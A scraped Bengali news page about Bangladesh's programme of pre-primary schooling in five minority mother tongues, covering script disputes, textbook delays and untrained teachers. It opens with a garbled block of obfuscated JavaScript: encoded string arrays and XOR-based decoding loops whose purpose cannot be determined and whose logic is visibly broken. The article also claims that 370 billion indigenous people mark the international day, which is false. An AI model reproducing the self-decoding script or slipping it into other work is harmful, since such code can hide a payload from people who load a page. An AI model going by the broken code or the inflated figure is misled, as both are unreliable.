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","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষা রক্ষায় দীর্ঘদিনের আন্দোলনের প্রেক্ষিতে বর্তমান সরকার চাকমা, মারমা, ত্রিপুরা, গারো ও সাদরি—এই পাঁচ ক্ষুদ্র নৃগোষ্ঠীর প্রাক-প্রাথমিকের শিশুদের মাতৃভাষায় পাঠদানের কার্যক্রম শুরু করে ২০১৭ সালে।

ক্ষুদ্র নৃগোষ্ঠীর শিক্ষার্থীদের মাতৃভাষায় শিক্ষাদানের উদ্যোগ, বাস্তবতা ও বর্তমান অবস্থা

০৮:২০:০৮ অপরাহ্ন, রবিবার, ১৭ সেপ্টেম্বর ২০২৩
ভূমিকা: ঢাকা বিশ্ববিদ্যালয়ের ভাষাবিজ্ঞান বিভাগের অধ্যাপক সৌরভ শিকদার1 বলেন, ২০১৯ সালের ১৮ডিসেম্বর জাতিসংঘের সাধারন পরিষদে ২০২২-২০৩২ সময়কালকে 'আন্তর্জাতিক আদিবাসী ভাষা দশক' পালনের ঘোষনা দেওয়া হয়। এর মূল লক্ষ্য ছিল ক্ষুদ্র জাতিগোষ্ঠীর প্রত্যক্ষ অংশগ্রহনের মাধ্যমে বিপন্ন ভাষাগুলোকে টিকিয়ে রাখা, তাদের সামাজিক-সাংস্কৃতিক জীবনের স্বাতন্ত্র্যকে সমুন্নত রাখা এবং জাতীয় আন্তর্জাতিক পর্যায়ে পারস্পরিক সহযোগিতার মাধ্যমে সবার সমান ভাষিক অধিকার নিশ্চিত করা। প্রতিবছর ৯ আগস্ট আন্তর্জাতিক অদিবাসী দিবস পালন করা হয়। ১৯৯৪ সালে জাতিসংঘের সাধারন পরিষদে বিশ্ব আদিবাসী দিবসটি পালনে ৪৯/২১৪ বিধিমালায় স্বীকৃতি পায়। আন্তর্জাতিক দিবসটি বিশ্বের ৯০ টি দেশের ৩৭০ বিলিয়ন আদিবাসীরা প্রতিবছর পালন করে থাকে। জাতিসংঘ অবশ্য ১৯৯৩ সালকে আদিবাসীবর্ষ হিসেবে ঘোষণা করেছিল। প্রতি বছর সারা বিশ্বের ন্যায় বাংলাদেশেও দিবসটি অত্যন্ত গুরুত্ব সহকারে পালিত হয়। তবে সংবিধান অনুযায়ী বাংলাদেশে আদিবাসী শব্দ ব্যবহার না করে ক্ষুদ্র জাতিসত্তা বা নৃগোষ্ঠী শব্দ ব্যবহারের নির্দেশনা দিয়ছে তথ্য ও সম্প্রচার মন্ত্রণালয়। বিশ্বের প্রতিটি দেশেই রয়েছে ক্ষুদ্র নৃগোষ্ঠীর লোক। একটি দেশের উন্নয়নে তাদের অবদান ও অর্জনকে স্বীকৃতি দিতেই জাতিসংঘ ৯ আগস্টকে আন্তর্জাতিক আদিবাসী দিবস হিসেব ঘোষণা করেছে। ২০০৭ সালে জাতিসংঘ সাধারন পরিষদের ৬১তম অধিবেশনে আদিবাসী জনগোষ্ঠীর অধিকার নিয়ে একটি ঘোষণাপত্র অনুমোদিত হয় সেখানে আদিবাসীদের ১২ টি ক্ষেত্রে স্বীকৃতি দেওয়া হয়। বিশেষ করে ভূমি সংক্রান্ত অধিকারগুলোই ছিল মুখ্য। বাংলাদেশ সরকার এসব অধিকারের প্রতি পূর্ণ শ্রদ্ধা ও সমর্থন তো করেছেই, পাশাপাশি ক্ষুদ্র-নৃগোষ্ঠীর লোকেরা যাতে নিজেদের মাতৃভাষায় প্রাথমিক পড়াশুনা করতে পারে সেই জন্য একটি দৃষ্টান্তমূলক পদক্ষেপ গ্রহন ও বাস্তবায়ন করে চলছে। ক্ষুদ্র নৃ-গোষ্ঠীর জন্য শিক্ষাক্ষেত্রে বাংলাদেশ সরকার যে দৃষ্টান্তমূলক পদক্ষেপ গ্রহন করেছে যার আলোচনাই এই প্রবন্ধের মূখ্য বিষয়। 

নিজস্ব ভাষায় পড়ার সুযোগ পেলে শিক্ষার্থীরা উৎফুল্ল হয়ে ওঠে কারন তারা এটা খুব ভালো করে আয়ত্ত করতে পারে। এটি মানব শিশুর একটি সহজাত প্রবৃত্তি। ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষা রক্ষায় দীর্ঘদিনের আন্দোলনের প্রেক্ষিতে বর্তমান সরকার চাকমা, মারমা, ত্রিপুরা, গারো ও সাদরি-এই পাঁচ ক্ষুদ্র নৃগোষ্ঠীর প্রাক-প্রাথমিকের শিশুদের মাতৃভাষায় পাঠদানের কার্যক্রম শুরু করে ২০১৭ সালে। সরকারি পরিকল্পনা অনুযায়ী প্রাক-প্রাথমিক থেকে দ্বিতীয় শ্রেণি পর্যন্ত নিজেদের ভাষায় পড়াশোন করবে ক্ষুদ্র নৃগোষ্ঠীর শিক্ষার্থীরা। তৃতীয় শ্রেণি থেকে তাদেরকে বাংলা শেখানো হবে। শিশুদের আনন্দের সঙ্গে পাঠদানের জন্য বাংলা শিখন-শেখানোর উপকরণের আদলে প্রণয়ন করা হয় ৮ ধরনের শিখণ-শেখানোর উপকরণ। এই উপকরণগুলোর মধ্যে অন্তর্ভূক্ত রয়েছে: মাতৃভাষার বই—ছড়ায় ছড়ায় বর্ণ শেখা; বর্ণ লেখার অনুশীলনী খাতা—এসো লিখতে শিখি, বর্ণ ও সংখ্যা ফ্ল্যাশ কার্ড, ফ্লিপ চার্ট, ১০ টি গল্প বইয়ের প্যাকেজ, শিক্ষক নির্দেশিকা ইত্যাদি। স্ব স্ব নৃগোষ্ঠীর সাহিত্য, সংষ্কৃতি, ঐতিহ্যের উপাদান নিয়ে ছড়া, কবিতা, গল্প সংযোজন করা হয়েছে উপকরণগুলোতে। 

বইয়ে ছবির মাধ্যমে বর্ণমালা শেখানো, গণনা শেখার ধারনা, সাধারন জ্ঞান (চিহ্নের মাধ্যমে হাসাপাতালসহ বিভিন্ন প্রতিষ্ঠান চেনানো), পারিপার্শ্বিক পরিবেশ ও পরিস্থিতি যুক্ত করা হয়েছে। উপকরণগুলোর অধিকাংশই নিজ নিজ মাতৃভাষায় রচিত। শুধু শিক্ষক সহায়িকার নির্দেশনাগুলোতে বাংলা ব্যবহার করা হয়েছে। উপকরণগুলোর বিষয়বস্তুগুলোর মধ্যে রাষ্ট্রীয় বিষয়বস্ত হুবহু রেখে বাংলার সাধারন বই থেকে অনুবাদ করা হয়েছে; যেমন—বঙ্গবন্ধু সংক্রান্ত লেখা, মুক্তিযুদ্ধ বিষয়ক গল্প ও নিবন্ধ, হযরত মুহম্মদ (স.)-এর জীবনী ইত্যাদি। ১০টি গল্পের বইয়ের প্যাকেজের মধ্যে চারটি বই বাংলা থেকে অনুবাদ করা হয়েছে, বাকি ছয়টি যার যার সমাজ জীবনে প্রচলিত শিক্ষামূলক গল্প থেকে সংগ্রহ করা হয়েছে।

উদ্যোগের গোড়ার কথা

১৯৯৭ সালের পার্বত্য চুক্তিতে নিজ নিজ ভাষায় শিক্ষার কথা বলা হয়েছিল। তাই ২০১৭ সাল থেকে সরকার পার্বত্য চট্টগ্রামের চাকমা, মারমা, ও ত্রিপুরা সম্প্রদায়ের শিশুদের জন্য মাতৃভাষার পাঠ্যপুস্তক চালু করে। শুরুতে একটি বেসরকারি উন্নয়ন সংস্থা থেকে ৫০জন প্রশিক্ষিত শিক্ষককে রাঙামাটির বিভিন্ন বিদ্যালয়ে মাতৃভাষায় পাঠদানের অনুমোদন দেয় প্রশাসন। তবে আজ পর্যন্ত মেলেনি বেতনভাতা। প্রশিক্ষিত শিক্ষকের অভাবে ব্যাহত হচ্ছে পাঠদান ও জাতীয় শিক্ষানীতি ২০১০-এ ক্ষুদ্র নৃগোষ্ঠীর শিশুদের মাতৃভাষা শিক্ষার অধিকারের বিষয়টি রাষ্ট্রীয়ভাবে স্বীকৃতির পর ২০১২ সালে চাকমা, মারমা, সাঁওতাল, মান্দি, ত্রিপুরা ও ওঁরাও ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষায় পাঠ্যপুস্তক প্রণয়নের একটি উদ্যোগ নেওয়া হয় সরকারীভাবে। চাকমাদের জন্য চাঙমা বর্ণমালা, মারমাদেরজন্য মারমা, ত্রিপুরা ও মান্দিদের জন্য পরিবর্তিত রোমান এবং মুন্ডা-ওঁরাওসহ সাদ্রীভাষী ক্ষুদ্র নৃগোষ্ঠীর জন্য বাংলা হরফ ব্যবহারের সিদ্ধান্ত হয়। পার্বত্য জেলা বান্দরবানের মারমা, ম্রাে, ত্রিপুরা, বম, তংচঙ্গা, চাকমা, খেয়াং, খুমি, চাক, পাংখো এবং লুসাই—এই ১১টি জাতিসত্তা ছাড়াও রাখাইনসহ আরো কিছু জনজাতি বসবাস করে। এদের কারোরই জনসংখ্যা ২০০-এর নীচে নয়। আলীকদম উপজেলায় রেংমিতচা নামে আরো একটি জনজাতির পরিচায় পাওয়া গেলেও রেংমিতচা কথ্য ভাষায় (লিখিত ভাষা রূপ নেই) কথা বলতে পারেন এমন লোকের সংখ্যা মাত্র সাতজন। জনসংখ্যা অত্যন্ত কম হওয়ায় এ ভাষাটি হারিয়ে যেতে বসেছে। মং নু চিং জানান, বান্দরবানে বসবাসকারী ১১ টি ক্ষুদ্র নৃগোষ্ঠীর প্রায় সবারই নিজস্ব ভাষা ও বর্ণমালা আছে। কিন্তু রেংমিতচা ভাষার স্বীকৃত কোনো কথ্য রূপ কিংবা লিখিত বর্ণমালা নেই। বিভিন্ন সেমিনার, কর্মশালা ও গবেষণা চালিযে ১১ টি জনজাতির ভাষা, সংষ্কৃতি ও বর্ণমালার সন্ধান পাওয়া যায়। তাদের মধ্যে শুধু খেয়াং জনগোষ্ঠী ছাড়া বাকী ১০ টি জনগোষ্ঠীর স্বীকৃত বর্ণমালা রয়েছে। খেয়াংদের মধ্যে কর্ণফুলী নদীর ওপারে (রাঙামাটির অংশ) থাকা খ্রিষ্ট ধর্মাবলম্বী অংশ রোমান হরফ ব্যবহার করে সৃষ্ট ‘খিয়াং বর্ণমালা’ ব্যবহারের পক্ষে। অন্যদিকে কর্ণফুলী নদীর এপারে (বান্দরবানের অংশ) বসবাসকারী খেয়াংরা নিজেদের উদ্ভাবিত’ খেয়াং বর্ণমালা ব্যবহারের পক্ষে। 

শিক্ষানীতির আলোকে সরকার সিদ্ধান্ত নিয়েছিল ২০১৪ সালের জানুয়ারি থেকে চাকমা, মারমা, ত্রিপুরা, গারো ও সাদরি—এই পাঁচটি ভাষায় প্রাক-প্রাথমিক শিক্ষা চালু করবে। কিন্তু সেটি চূড়ান্ত করতে অনেক সময় লেগে গিয়েছে। জাতীয় শিক্ষাক্রম ও পাঠ্যপুস্তক বোর্ড (এনসিটিবি)-র2 একজন শিক্ষাক্রম বিশেষজ্ঞ বলেন, জাতীয় শিক্ষানীতিতে মাতৃভাষায় শিক্ষা দেওয়ার কথা বলা হয়েছে। কিন্তু শিক্ষানীতি যখন অনুমোদিত হয়, তখন শিক্ষাক্রম সংশোধনের কাজ শুরু হয়ে যায়। এ জন্য তখন সিদ্ধান্ত হয়, শিক্ষাক্রম সংশোধন হয়ে গেলে সে অনুযায়ী ক্ষুদ্র নৃগোষ্ঠীর শিশুদের মাতৃভাষায় বই দেওয়া হবে। কিন্তু শিক্ষাক্রম তৈরির পর এ ধরনের বই লেখার মতো ভালো লেখক পাওয়া যাচ্ছিল না। তা ছাড়া লিপি একটা বড়ো সংকট হয়ে দেখা দেয়। চাকমা ও মারমাদের মৌখিক ও লিখিত উভয় রূপ থাকলেও ত্রিপুরা, গারো ও সাদরি নৃগোষ্ঠীর ভাষার নিজস্ব লিপি নেই। কোন লিপিতে তাদের ভাষার পাঠ্যবই লেখা হবে, এ নিয়ে মতবিরোধ দেখা দেয়। এসব ব্যাপারে সিদ্ধান্ত নিতে বেশ সময় লেগে যায়। সাঁওতালদের নিজস্ব লিপি না থাকায় পাঠ্যপুস্তক প্রণয়নের ক্ষেত্রে কোন লিপি গ্রহন করা হবে, এ নিয়ে দ্বিধাবিভক্তি দেখা দেয়। একটি পক্ষ বাংলা লিপি গ্রহনের পক্ষপাতী হলেও আরেকটি পক্ষ রোমান হরফ নেওয়ার পক্ষে অবস্থান নেয়। এ বিরোধ নিষ্পত্তি না হওয়ায় সাঁওতাল ভাষার পাঠ্যপুস্তক প্রথমবার বের করা সম্ভব হয়নি। এনসিটিবির সদস্য (প্রাথমিক শিক্ষাক্রম) অধ্যাপক ড. এ. কে. এম. রিয়াজুল হাসান বলেন, ”আমরা ধারাবাহিকভাবে অগ্রসর হচ্ছি। আমাদের মোট ১৯ থেকে ২০টি ক্ষুদ্র নৃগোষ্ঠীর মাতৃভাষায় পাঠ্যবই প্রণয়নের পরিকল্পনা রয়েছে। কিন্তু অনেকেই এসব ভাষা বলতে পারে কিন্তু লিখতে পারেনা। ফলে আমরা সঠিক বর্ণ খুঁজে পাচ্ছিনা। এ ব্যাপারে আন্তর্জাতিক মাতৃভাষা ইনস্টিটিউটের সহায়তাও নিচ্ছি। 

ম্রাে জনগোষ্ঠীর মেনলে ম্রাে নামের এক যুবক একটি বর্ণমালা উদ্ভাবন করে এটিকে ‘ক্রামা বর্ণমালা’ নাম দেন। মেনলে ম্রাে একই সঙ্গে ক্রামা নামের একটি ধর্ম প্রবর্তন করেন। তিনি বলেন, “ম্রােদের মধ্যে শতভাগ ক্রামা ধর্ম গ্রহন না করলেও সবাই ‘ক্রামা বর্ণমালা’ ব্যবহারের পক্ষে থাকায় বান্দরবান কেএসআই তাদের প্রশিক্ষণ কর্মসূচিতে ‘ক্রামা বর্ণমালা’ ব্যবহার করছে। খেয়াংরাও এ বিষয়ে সর্বস্মমত সিদ্ধান্ত দিলে আমরা স্বীকৃত বর্ণমালা নিযে কাজ করতে পারব।” নানা চড়াই-উতরাই পেরিয়ে অবশেষে ২০১৭ সাল থেকে মাতৃভাষায় পড়ার সুযোগ পাচ্ছে। এই নৃগোষ্ঠীগুলো হলো চাকমা, মারমা, ত্রিপুরা (ককবরক), গারো ও ওঁরাও (সাদরি)। এই পাঁচ জাতিগোষ্ঠীর জনসংখ্যা ১০ লাখের বেশি। এর মধ্যে চাকমা ও মারমা ভাষার বইগুলো তাদের নিজস্ব লিপিতে লেখা। কিন্তু বাকি তিনটি নৃগোষ্ঠীর বইগুলো লেখা হচ্ছে কোনোটি বাংলা লিপিতে, কোনটি রোমান হরফে। এ বিষয়ে ঢাকা বিশ্ববিদ্যালয়ের ভাষাবিজ্ঞান বিভাগের অধ্যাপক সৌরভ সিকদার বলেন, “এটার জন্য আমরা অনেক দিন ধরে অপেক্ষায় ছিলাম। এটা হলে খুবই ভালো হবে। তবে শুধু বই হলেই মাতৃভাষায় শিক্ষা হয়ে যাবে এমনটা নয়। এখনো শিক্ষক প্রশিক্ষণ হয়নি। সেটা না হওয়া পর্যন্ত এটা বাস্তবায়ন কঠিন হয়ে যাবে।” 